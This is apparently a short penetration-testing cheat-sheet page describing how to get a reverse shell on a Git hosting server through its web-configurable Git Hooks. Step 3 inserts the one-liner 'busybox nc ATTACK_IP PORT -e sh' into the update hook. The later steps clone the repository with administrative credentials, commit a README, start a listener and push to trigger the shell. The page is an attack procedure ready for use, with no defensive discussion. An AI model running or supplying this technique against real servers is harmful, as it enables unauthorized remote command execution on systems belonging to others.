Git Hooks
Requirements:
Steps:
1) Create a repository
2) Go to the newly created repository, then click
Settings -> Git Hooks3) Modify the update Git Hook (example) by adding a reverse shell one-liner, then click "Update Hook"
# --- Command line
busybox nc ATTACK_IP PORT -e sh4) Clone the repository on the attacker's machine (It may ask for user credentials. Use the administrative credentials to authenticate to the remote repository)
git clone http://domain.local:8000/repoowner/pwned.git5) Create a README.md file
cd pwned
touch README.md6) Initiate the existing repository and the added README.md to the repository
7) Add a commit
8) Setup your listener
9) Push to the created repository to catch the reverse shell
Last updated